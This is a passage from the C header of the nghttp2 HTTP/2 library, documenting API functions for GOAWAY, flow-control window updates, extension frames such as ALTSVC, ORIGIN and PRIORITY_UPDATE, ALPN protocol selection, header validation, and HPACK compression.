application can close session. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |opaque_data_len| is too large; the |last_stream_id| is * invalid. */ NGHTTP2_EXTERN int nghttp2_submit_goaway(nghttp2_session *session, uint8_t flags, int32_t last_stream_id, uint32_t error_code, const uint8_t *opaque_data, size_t opaque_data_len); /** * @function * * Returns the last stream ID of a stream for which * :type:`nghttp2_on_frame_recv_callback` was invoked most recently. * The returned value can be used as last_stream_id parameter for * `nghttp2_submit_goaway()` and * `nghttp2_session_terminate_session2()`. * * This function always succeeds. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_last_proc_stream_id(nghttp2_session *session); /** * @function * * Returns nonzero if new request can be sent from local endpoint. * * This function return 0 if request is not allowed for this session. * There are several reasons why request is not allowed. Some of the * reasons are: session is server; stream ID has been spent; GOAWAY * has been sent or received. * * The application can call `nghttp2_submit_request2()` without * consulting this function. In that case, * `nghttp2_submit_request2()` may return error. Or, request is * failed to sent, and :type:`nghttp2_on_stream_close_callback` is * called. */ NGHTTP2_EXTERN int nghttp2_session_check_request_allowed(nghttp2_session *session); /** * @function * * Returns nonzero if |session| is initialized as server side session. */ NGHTTP2_EXTERN int nghttp2_session_check_server_session(nghttp2_session *session); /** * @function * * Submits WINDOW_UPDATE frame. * * The |flags| is currently ignored and should be * :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * The |stream_id| is the stream ID to send this WINDOW_UPDATE. To * send connection level WINDOW_UPDATE, specify 0 to |stream_id|. * * If the |window_size_increment| is positive, the WINDOW_UPDATE with * that value as window_size_increment is queued. If the * |window_size_increment| is larger than the received bytes from the * remote endpoint, the local window size is increased by that * difference. If the sole purpose is to increase the local window * size, consider to use `nghttp2_session_set_local_window_size()`. * * If the |window_size_increment| is negative, the local window size * is decreased by -|window_size_increment|. If automatic * WINDOW_UPDATE is enabled * (`nghttp2_option_set_no_auto_window_update()`), and the library * decided that the WINDOW_UPDATE should be submitted, then * WINDOW_UPDATE is queued with the current received bytes count. If * the sole purpose is to decrease the local window size, consider to * use `nghttp2_session_set_local_window_size()`. * * If the |window_size_increment| is 0, the function does nothing and * returns 0. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_FLOW_CONTROL` * The local window size overflow or gets negative. * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_submit_window_update(nghttp2_session *session, uint8_t flags, int32_t stream_id, int32_t window_size_increment); /** * @function * * Set local window size (local endpoints's window size) to the given * |window_size| for the given stream denoted by |stream_id|. To * change connection level window size, specify 0 to |stream_id|. To * increase window size, this function may submit WINDOW_UPDATE frame * to transmission queue. * * The |flags| is currently ignored and should be * :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * This sounds similar to `nghttp2_submit_window_update()`, but there * are 2 differences. The first difference is that this function * takes the absolute value of window size to set, rather than the * delta. To change the window size, this may be easier to use since * the application just declares the intended window size, rather than * calculating delta. The second difference is that * `nghttp2_submit_window_update()` affects the received bytes count * which has not acked yet. By the specification of * `nghttp2_submit_window_update()`, to strictly increase the local * window size, we have to submit delta including all received bytes * count, which might not be desirable in some cases. On the other * hand, this function does not affect the received bytes count. It * just sets the local window size to the given value. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is negative. * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_set_local_window_size(nghttp2_session *session, uint8_t flags, int32_t stream_id, int32_t window_size); /** * @function * * Submits extension frame. * * Application can pass arbitrary frame flags and stream ID in |flags| * and |stream_id| respectively. The |payload| is opaque pointer, and * it can be accessible though ``frame->ext.payload`` in * :type:`nghttp2_pack_extension_callback2`. The library will not own * passed |payload| pointer. * * The application must set :type:`nghttp2_pack_extension_callback2` * using `nghttp2_session_callbacks_set_pack_extension_callback2()`. * * The application should retain the memory pointed by |payload| until * the transmission of extension frame is done (which is indicated by * :type:`nghttp2_on_frame_send_callback`), or transmission fails * (which is indicated by :type:`nghttp2_on_frame_not_send_callback`). * If application does not touch this memory region after packing it * into a wire format, application can free it inside * :type:`nghttp2_pack_extension_callback2`. * * The standard HTTP/2 frame cannot be sent with this function, so * |type| must be strictly grater than 0x9. Otherwise, this function * will fail with error code * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT`. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * If :type:`nghttp2_pack_extension_callback2` is not set. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * If |type| specifies standard HTTP/2 frame type. The frame * types in the rage [0x0, 0x9], both inclusive, are standard * HTTP/2 frame type, and cannot be sent using this function. * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory */ NGHTTP2_EXTERN int nghttp2_submit_extension(nghttp2_session *session, uint8_t type, uint8_t flags, int32_t stream_id, void *payload); /** * @struct * * The payload of ALTSVC frame. ALTSVC frame is a non-critical * extension to HTTP/2. If this frame is received, and * `nghttp2_option_set_user_recv_extension_type()` is not set, and * `nghttp2_option_set_builtin_recv_extension_type()` is set for * :enum:`nghttp2_frame_type.NGHTTP2_ALTSVC`, * ``nghttp2_extension.payload`` will point to this struct. * * It has the following members: */ typedef struct { /** * The pointer to origin which this alternative service is * associated with. This is not necessarily NULL-terminated. */ uint8_t *origin; /** * The length of the |origin|. */ size_t origin_len; /** * The pointer to Alt-Svc field value contained in ALTSVC frame. * This is not necessarily NULL-terminated. */ uint8_t *field_value; /** * The length of the |field_value|. */ size_t field_value_len; } nghttp2_ext_altsvc; /** * @function * * Submits ALTSVC frame. * * ALTSVC frame is a non-critical extension to HTTP/2, and defined in * `RFC 7383 <https://tools.ietf.org/html/rfc7838#section-4>`_. * * The |flags| is currently ignored and should be * :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * The |origin| points to the origin this alternative service is * associated with. The |origin_len| is the length of the origin. If * |stream_id| is 0, the origin must be specified. If |stream_id| is * not zero, the origin must be empty (in other words, |origin_len| * must be 0). * * The ALTSVC frame is only usable from server side. If this function * is invoked with client side session, this function returns * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE`. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * The function is called from client side session * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The sum of |origin_len| and |field_value_len| is larger than * 16382; or |origin_len| is 0 while |stream_id| is 0; or * |origin_len| is not 0 while |stream_id| is not 0. */ NGHTTP2_EXTERN int nghttp2_submit_altsvc(nghttp2_session *session, uint8_t flags, int32_t stream_id, const uint8_t *origin, size_t origin_len, const uint8_t *field_value, size_t field_value_len); /** * @struct * * The single entry of an origin. */ typedef struct { /** * The pointer to origin. No validation is made against this field * by the library. This is not necessarily NULL-terminated. */ uint8_t *origin; /** * The length of the |origin|. */ size_t origin_len; } nghttp2_origin_entry; /** * @struct * * The payload of ORIGIN frame. ORIGIN frame is a non-critical * extension to HTTP/2 and defined by `RFC 8336 * <https://tools.ietf.org/html/rfc8336>`_. * * If this frame is received, and * `nghttp2_option_set_user_recv_extension_type()` is not set, and * `nghttp2_option_set_builtin_recv_extension_type()` is set for * :enum:`nghttp2_frame_type.NGHTTP2_ORIGIN`, * ``nghttp2_extension.payload`` will point to this struct. * * It has the following members: */ typedef struct { /** * The number of origins contained in |ov|. */ size_t nov; /** * The pointer to the array of origins contained in ORIGIN frame. */ nghttp2_origin_entry *ov; } nghttp2_ext_origin; /** * @function * * Submits ORIGIN frame. * * ORIGIN frame is a non-critical extension to HTTP/2 and defined by * `RFC 8336 <https://tools.ietf.org/html/rfc8336>`_. * * The |flags| is currently ignored and should be * :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * The |ov| points to the array of origins. The |nov| specifies the * number of origins included in |ov|. This function creates copies * of all elements in |ov|. * * The ORIGIN frame is only usable by a server. If this function is * invoked with client side session, this function returns * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE`. * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * The function is called from client side session. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * There are too many origins, or an origin is too large to fit * into a default frame payload. */ NGHTTP2_EXTERN int nghttp2_submit_origin(nghttp2_session *session, uint8_t flags, const nghttp2_origin_entry *ov, size_t nov); /** * @struct * * The payload of PRIORITY_UPDATE frame. PRIORITY_UPDATE frame is a * non-critical extension to HTTP/2. If this frame is received, and * `nghttp2_option_set_user_recv_extension_type()` is not set, and * `nghttp2_option_set_builtin_recv_extension_type()` is set for * :enum:`nghttp2_frame_type.NGHTTP2_PRIORITY_UPDATE`, * ``nghttp2_extension.payload`` will point to this struct. * * It has the following members: */ typedef struct { /** * The stream ID of the stream whose priority is updated. */ int32_t stream_id; /** * The pointer to Priority field value. It is not necessarily * NULL-terminated. */ uint8_t *field_value; /** * The length of the :member:`field_value`. */ size_t field_value_len; } nghttp2_ext_priority_update; /** * @function * * Submits PRIORITY_UPDATE frame. * * PRIORITY_UPDATE frame is a non-critical extension to HTTP/2, and * defined in :rfc:`9218#section-7.1`. * * The |flags| is currently ignored and should be * :enum:`nghttp2_flag.NGHTTP2_FLAG_NONE`. * * The |stream_id| is the ID of stream which is prioritized. The * |field_value| points to the Priority field value. The * |field_value_len| is the length of the Priority field value. * * If this function is called by server, * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` is returned. * * If * :enum:`nghttp2_settings_id.NGHTTP2_SETTINGS_NO_RFC7540_PRIORITIES` * of value of 0 is received by a remote endpoint (or it is omitted), * this function does nothing and returns 0. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * The function is called from server side session * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |field_value_len| is larger than 16380; or |stream_id| is * 0. */ NGHTTP2_EXTERN int nghttp2_submit_priority_update(nghttp2_session *session, uint8_t flags, int32_t stream_id, const uint8_t *field_value, size_t field_value_len); /** * @function * * Changes the priority of the existing stream denoted by |stream_id|. * The new priority is |extpri|. This function is meant to be used by * server for :rfc:`9218` extensible prioritization scheme. * * If |session| is initialized as client, this function returns * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE`. For client, use * `nghttp2_submit_priority_update()` instead. * * If :member:`extpri->urgency <nghttp2_extpri.urgency>` is out of * bound, it is set to :macro:`NGHTTP2_EXTPRI_URGENCY_LOW`. * * If |ignore_client_signal| is nonzero, server starts to ignore * client priority signals for this stream. * * If * :enum:`nghttp2_settings_id.NGHTTP2_SETTINGS_NO_RFC7540_PRIORITIES` * of value of 1 is not submitted via `nghttp2_submit_settings()`, * this function does nothing and returns 0. * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * The |session| is initialized as client. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * |stream_id| is zero; or a stream denoted by |stream_id| is not * found. */ NGHTTP2_EXTERN int nghttp2_session_change_extpri_stream_priority( nghttp2_session *session, int32_t stream_id, const nghttp2_extpri *extpri, int ignore_client_signal); /** * @function * * Stores the stream priority of the existing stream denoted by * |stream_id| in the object pointed by |extpri|. This function is * meant to be used by server for :rfc:`9218` extensible * prioritization scheme. * * If |session| is initialized as client, this function returns * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE`. * * If * :enum:`nghttp2_settings_id.NGHTTP2_SETTINGS_NO_RFC7540_PRIORITIES` * of value of 1 is not submitted via `nghttp2_submit_settings()`, * this function does nothing and returns 0. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * The |session| is initialized as client. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * |stream_id| is zero; or a stream denoted by |stream_id| is not * found. */ NGHTTP2_EXTERN int nghttp2_session_get_extpri_stream_priority( nghttp2_session *session, nghttp2_extpri *extpri, int32_t stream_id); /** * @function * * Parses Priority header field value pointed by |value| of length * |len|, and stores the result in the object pointed by |extpri|. * Priority header field is defined in :rfc:`9218`. * * This function does not initialize the object pointed by |extpri| * before storing the result. It only assigns the values that the * parser correctly extracted to fields. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * Failed to parse the header field value. */ NGHTTP2_EXTERN int nghttp2_extpri_parse_priority(nghttp2_extpri *extpri, const uint8_t *value, size_t len); /** * @function * * Compares ``lhs->name`` of length ``lhs->namelen`` bytes and * ``rhs->name`` of length ``rhs->namelen`` bytes. Returns negative * integer if ``lhs->name`` is found to be less than ``rhs->name``; or * returns positive integer if ``lhs->name`` is found to be greater * than ``rhs->name``; or returns 0 otherwise. */ NGHTTP2_EXTERN int nghttp2_nv_compare_name(const nghttp2_nv *lhs, const nghttp2_nv *rhs); /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_select_alpn` instead. * * A helper function for dealing with ALPN in server side. The |in| * contains peer's protocol list in preferable order. The format of * |in| is length-prefixed and not null-terminated. For example, * ``h2`` and ``http/1.1`` stored in |in| like this:: * * in[0] = 2 * in[1..2] = "h2" * in[3] = 8 * in[4..11] = "http/1.1" * inlen = 12 * * The selection algorithm is as follows: * * 1. If peer's list contains HTTP/2 protocol the library supports, * it is selected and returns 1. The following step is not taken. * * 2. If peer's list contains ``http/1.1``, this function selects * ``http/1.1`` and returns 0. The following step is not taken. * * 3. This function selects nothing and returns -1 (So called * non-overlap case). In this case, |out| and |outlen| are left * untouched. * * Selecting ``h2`` means that ``h2`` is written into |*out| and its * length (which is 2) is assigned to |*outlen|. * * For ALPN, refer to https://tools.ietf.org/html/rfc7301 * * To use this method you should do something like:: * * static int alpn_select_proto_cb(SSL* ssl, * const unsigned char **out, * unsigned char *outlen, * const unsigned char *in, * unsigned int inlen, * void *arg) * { * int rv; * rv = nghttp2_select_next_protocol((unsigned char**)out, outlen, * in, inlen); * if (rv == -1) { * return SSL_TLSEXT_ERR_NOACK; * } * if (rv == 1) { * ((MyType*)arg)->http2_selected = 1; * } * return SSL_TLSEXT_ERR_OK; * } * ... * SSL_CTX_set_alpn_select_cb(ssl_ctx, alpn_select_proto_cb, my_obj); * */ NGHTTP2_EXTERN int nghttp2_select_next_protocol(unsigned char **out, unsigned char *outlen, const unsigned char *in, unsigned int inlen); /** * @function * * A helper function for dealing with ALPN in server side. The |in| * contains peer's protocol list in preferable order. The format of * |in| is length-prefixed and not null-terminated. For example, * ``h2`` and ``http/1.1`` stored in |in| like this:: * * in[0] = 2 * in[1..2] = "h2" * in[3] = 8 * in[4..11] = "http/1.1" * inlen = 12 * * The selection algorithm is as follows: * * 1. If peer's list contains HTTP/2 protocol the library supports, * it is selected and returns 1. The following step is not taken. * * 2. If peer's list contains ``http/1.1``, this function selects * ``http/1.1`` and returns 0. The following step is not taken. * * 3. This function selects nothing and returns -1 (So called * non-overlap case). In this case, |out| and |outlen| are left * untouched. * * Selecting ``h2`` means that ``h2`` is written into |*out| and its * length (which is 2) is assigned to |*outlen|. * * For ALPN, refer to https://tools.ietf.org/html/rfc7301 * * To use this method you should do something like:: * * static int alpn_select_proto_cb(SSL* ssl, * const unsigned char **out, * unsigned char *outlen, * const unsigned char *in, * unsigned int inlen, * void *arg) * { * int rv; * rv = nghttp2_select_alpn(out, outlen, in, inlen); * if (rv == -1) { * return SSL_TLSEXT_ERR_NOACK; * } * if (rv == 1) { * ((MyType*)arg)->http2_selected = 1; * } * return SSL_TLSEXT_ERR_OK; * } * ... * SSL_CTX_set_alpn_select_cb(ssl_ctx, alpn_select_proto_cb, my_obj); * */ NGHTTP2_EXTERN int nghttp2_select_alpn(const unsigned char **out, unsigned char *outlen, const unsigned char *in, unsigned int inlen); /** * @function * * Returns a pointer to a nghttp2_info struct with version information * about the run-time library in use. The |least_version| argument * can be set to a 24 bit numerical value for the least accepted * version number and if the condition is not met, this function will * return a ``NULL``. Pass in 0 to skip the version checking. */ NGHTTP2_EXTERN nghttp2_info *nghttp2_version(int least_version); /** * @function * * Returns nonzero if the :type:`nghttp2_error` library error code * |lib_error| is fatal. */ NGHTTP2_EXTERN int nghttp2_is_fatal(int lib_error_code); /** * @function * * Returns nonzero if HTTP header field name |name| of length |len| is * valid according to http://tools.ietf.org/html/rfc7230#section-3.2 * * Because this is a header field name in HTTP2, the upper cased alphabet * is treated as error. */ NGHTTP2_EXTERN int nghttp2_check_header_name(const uint8_t *name, size_t len); /** * @function * * Returns nonzero if HTTP header field value |value| of length |len| * is valid according to * http://tools.ietf.org/html/rfc7230#section-3.2 * * This function is considered obsolete, and application should * consider to use `nghttp2_check_header_value_rfc9113()` instead. */ NGHTTP2_EXTERN int nghttp2_check_header_value(const uint8_t *value, size_t len); /** * @function * * Returns nonzero if HTTP header field value |value| of length |len| * is valid according to * http://tools.ietf.org/html/rfc7230#section-3.2, plus * https://datatracker.ietf.org/doc/html/rfc9113#section-8.2.1 */ NGHTTP2_EXTERN int nghttp2_check_header_value_rfc9113(const uint8_t *value, size_t len); /** * @function * * Returns nonzero if the |value| which is supposed to be the value of * the :method header field is valid according to * https://datatracker.ietf.org/doc/html/rfc7231#section-4 and * https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6 */ NGHTTP2_EXTERN int nghttp2_check_method(const uint8_t *value, size_t len); /** * @function * * Returns nonzero if the |value| which is supposed to be the value of * the :path header field is valid according to * https://datatracker.ietf.org/doc/html/rfc7540#section-8.1.2.3 * * |value| is valid if it merely consists of the allowed characters. * In particular, it does not check whether |value| follows the syntax * of path. The allowed characters are all characters valid by * `nghttp2_check_header_value` minus SPC and HT. */ NGHTTP2_EXTERN int nghttp2_check_path(const uint8_t *value, size_t len); /** * @function * * Returns nonzero if the |value| which is supposed to be the value of the * :authority or host header field is valid according to * https://tools.ietf.org/html/rfc3986#section-3.2 * * Note that :authority and host field values are not authority. They * do not include userinfo in RFC 3986, see * https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2, that * is, it does not include '@'. This function treats '@' as a valid * character. * * |value| is valid if it merely consists of the allowed characters. * In particular, it does not check whether |value| follows the syntax * of authority. */ NGHTTP2_EXTERN int nghttp2_check_authority(const uint8_t *value, size_t len); /* HPACK API */ struct nghttp2_hd_deflater; /** * @struct * * HPACK deflater object. */ typedef struct nghttp2_hd_deflater nghttp2_hd_deflater; /** * @function * * Initializes |*deflater_ptr| for deflating name/values pairs. * * The |max_deflate_dynamic_table_size| is the upper bound of header * table size the deflater will use. * * If this function fails, |*deflater_ptr| is left untouched. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_hd_deflate_new(nghttp2_hd_deflater **deflater_ptr, size_t max_deflate_dynamic_table_size); /** * @function * * Like `nghttp2_hd_deflate_new()`, but with additional custom memory * allocator specified in the |mem|. * * The |mem| can be ``NULL`` and the call is equivalent to * `nghttp2_hd_deflate_new()`. * * This function does not take ownership |mem|. The application is * responsible for freeing |mem|. * * The library code does not refer to |mem| pointer after this * function returns, so the application can safely free it. */ NGHTTP2_EXTERN int nghttp2_hd_deflate_new2(nghttp2_hd_deflater **deflater_ptr, size_t max_deflate_dynamic_table_size, nghttp2_mem *mem); /** * @function * * Deallocates any resources allocated for |deflater|. */ NGHTTP2_EXTERN void nghttp2_hd_deflate_del(nghttp2_hd_deflater *deflater); /** * @function * * Changes header table size of the |deflater| to * |settings_max_dynamic_table_size| bytes. This may trigger eviction * in the dynamic table. * * The |settings_max_dynamic_table_size| should be the value received * in SETTINGS_HEADER_TABLE_SIZE. * * The deflater never uses more memory than * ``max_deflate_dynamic_table_size`` bytes specified in * `nghttp2_hd_deflate_new()`. Therefore, if * |settings_max_dynamic_table_size| > * ``max_deflate_dynamic_table_size``, resulting maximum table size * becomes ``max_deflate_dynamic_table_size``. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_hd_deflate_change_table_size(nghttp2_hd_deflater *deflater, size_t settings_max_dynamic_table_size); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_hd_deflate_hd2()` instead. * * Deflates the |nva|, which has the |nvlen| name/value pairs, into * the |buf| of length |buflen|. * * If |buf| is not large enough to store the deflated header block, * this function fails with * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE`. The caller * should use `nghttp2_hd_deflate_bound()` to know the upper bound of * buffer size required to deflate given header name/value pairs. * * Once this function fails, subsequent call of this function always * returns :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP`. * * After this function returns, it is safe to delete the |nva|. * * This function returns the number of bytes written to |buf| if it * succeeds, or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP` * Deflation process has failed. * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE` * The provided |buflen| size is too small to hold the output. */ NGHTTP2_EXTERN ssize_t nghttp2_hd_deflate_hd(nghttp2_hd_deflater *deflater, uint8_t *buf, size_t buflen, const nghttp2_nv *nva, size_t nvlen); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Deflates the |nva|, which has the |nvlen| name/value pairs, into * the |buf| of length |buflen|. * * If |buf| is not large enough to store the deflated header block, * this function fails with * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE`. The caller * should use `nghttp2_hd_deflate_bound()` to know the upper bound of * buffer size required to deflate given header name/value pairs. * * Once this function fails, subsequent call of this function always * returns :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP`. * * After this function returns, it is safe to delete the |nva|. * * This function returns the number of bytes written to |buf| if it * succeeds, or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP` * Deflation process has failed. * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE` * The provided |buflen| size is too small to hold the output. */ NGHTTP2_EXTERN nghttp2_ssize nghttp2_hd_deflate_hd2(nghttp2_hd_deflater *deflater, uint8_t *buf, size_t buflen, const nghttp2_nv *nva, size_t nvlen); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_hd_deflate_hd_vec2()` instead. * * Deflates the |nva|, which has the |nvlen| name/value pairs, into * the |veclen| size of buf vector |vec|. The each size of buffer * must be set in len field of :type:`nghttp2_vec`. If and only if * one chunk is filled up completely, next chunk will be used. If * |vec| is not large enough to store the deflated header block, this * function fails with * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE`. The caller * should use `nghttp2_hd_deflate_bound()` to know the upper bound of * buffer size required to deflate given header name/value pairs. * * Once this function fails, subsequent call of this function always * returns :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP`. * * After this function returns, it is safe to delete the |nva|. * * This function returns the number of bytes written to |vec| if it * succeeds, or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP` * Deflation process has failed. * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE` * The provided |buflen| size is too small to hold the output. */ NGHTTP2_EXTERN ssize_t nghttp2_hd_deflate_hd_vec(nghttp2_hd_deflater *deflater, const nghttp2_vec *vec, size_t veclen, const nghttp2_nv *nva, size_t nvlen); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Deflates the |nva|, which has the |nvlen| name/value pairs, into * the |veclen| size of buf vector |vec|. The each size of buffer * must be set in len field of :type:`nghttp2_vec`. If and only if * one chunk is filled up completely, next chunk will be used. If * |vec| is not large enough to store the deflated header block, this * function fails with * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE`. The caller * should use `nghttp2_hd_deflate_bound()` to know the upper bound of * buffer size required to deflate given header name/value pairs. * * Once this function fails, subsequent call of this function always * returns :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP`. * * After this function returns, it is safe to delete the |nva|. * * This function returns the number of bytes written to |vec| if it * succeeds, or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP` * Deflation process has failed. * :enum:`nghttp2_error.NGHTTP2_ERR_INSUFF_BUFSIZE` * The provided |buflen| size is too small to hold the output. */ NGHTTP2_EXTERN nghttp2_ssize nghttp2_hd_deflate_hd_vec2( nghttp2_hd_deflater *deflater, const nghttp2_vec *vec, size_t veclen, const nghttp2_nv *nva, size_t nvlen); /** * @function * * Returns an upper bound on the compressed size after deflation of * |nva| of length |nvlen|. */ NGHTTP2_EXTERN size_t nghttp2_hd_deflate_bound(nghttp2_hd_deflater *deflater, const nghttp2_nv *nva, size_t nvlen); /** * @function * * Returns the number of entries that header table of |deflater| * contains. This is the sum of the number of static table and * dynamic table, so the return value is at least 61. */ NGHTTP2_EXTERN size_t nghttp2_hd_deflate_get_num_table_entries(nghttp2_hd_deflater *deflater); /** * @function * * Returns the table entry denoted by |idx| from header table of * |deflater|. The |idx| is 1-based, and idx=1 returns first entry of * static table. idx=62 returns first entry of dynamic table if it * exists. Specifying idx=0 is error, and this function returns NULL. * If |idx| is strictly greater than the number of entries the tables * contain, this function returns NULL. */ NGHTTP2_EXTERN const nghttp2_nv * nghttp2_hd_deflate_get_table_entry(nghttp2_hd_deflater *deflater, size_t idx); /** * @function * * Returns the used dynamic table size, including the overhead 32 * bytes per entry described in RFC 7541. */ NGHTTP2_EXTERN size_t nghttp2_hd_deflate_get_dynamic_table_size(nghttp2_hd_deflater *deflater); /** * @function * * Returns the maximum dynamic table size. */ NGHTTP2_EXTERN size_t nghttp2_hd_deflate_get_max_dynamic_table_size(nghttp2_hd_deflater *deflater); struct nghttp2_hd_inflater; /** * @struct * * HPACK inflater object. */ typedef struct nghttp2_hd_inflater nghttp2_hd_inflater; /** * @function * * Initializes |*inflater_ptr| for inflating name/values pairs. * * If this function fails, |*inflater_ptr| is left untouched. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_hd_inflate_new(nghttp2_hd_inflater **inflater_ptr); /** * @function * * Like `nghttp2_hd_inflate_new()`, but with additional custom memory * allocator specified in the |mem|. * * The |mem| can be ``NULL`` and the call is equivalent to * `nghttp2_hd_inflate_new()`. * * This function does not take ownership |mem|. The application is * responsible for freeing |mem|. * * The library code does not refer to |mem| pointer after this * function returns, so the application can safely free it. */ NGHTTP2_EXTERN int nghttp2_hd_inflate_new2(nghttp2_hd_inflater **inflater_ptr, nghttp2_mem *mem); /** * @function * * Deallocates any resources allocated for |inflater|. */ NGHTTP2_EXTERN void nghttp2_hd_inflate_del(nghttp2_hd_inflater *inflater); /** * @function * * Changes header table size in the |inflater|. This may trigger * eviction in the dynamic table. * * The |settings_max_dynamic_table_size| should be the value * transmitted in SETTINGS_HEADER_TABLE_SIZE. * * This function must not be called while header block is being * inflated. In other words, this function must be called after * initialization of |inflater|, but before calling * `nghttp2_hd_inflate_hd3()`, or after * `nghttp2_hd_inflate_end_headers()`. Otherwise, * `NGHTTP2_ERR_INVALID_STATE` was returned. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * The function is called while header block is being inflated. * Probably, application missed to call * `nghttp2_hd_inflate_end_headers()`. */ NGHTTP2_EXTERN int nghttp2_hd_inflate_change_table_size(nghttp2_hd_inflater *inflater, size_t settings_max_dynamic_table_size); /** * @enum * * The flags for header inflation. */ typedef enum { /** * No flag set. */ NGHTTP2_HD_INFLATE_NONE = 0, /** * Indicates all headers were inflated. */ NGHTTP2_HD_INFLATE_FINAL = 0x01, /** * Indicates a header was emitted. */ NGHTTP2_HD_INFLATE_EMIT = 0x02 } nghttp2_hd_inflate_flag; #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_hd_inflate_hd2()` instead. * * Inflates name/value block stored in |in| with length |inlen|. This * function performs decompression. For each successful emission of * header name/value pair, * :enum:`nghttp2_hd_inflate_flag.NGHTTP2_HD_INFLATE_EMIT` is set in * |*inflate_flags| and name/value pair is assigned to the |nv_out| * and the function returns. The caller must not free the members of * |nv_out|. * * The |nv_out| may include pointers to the memory region in the |in|. * The caller must retain the |in| while the |nv_out| is used. * * The application should call this function repeatedly until the * ``(*inflate_flags) & NGHTTP2_HD_INFLATE_FINAL`` is 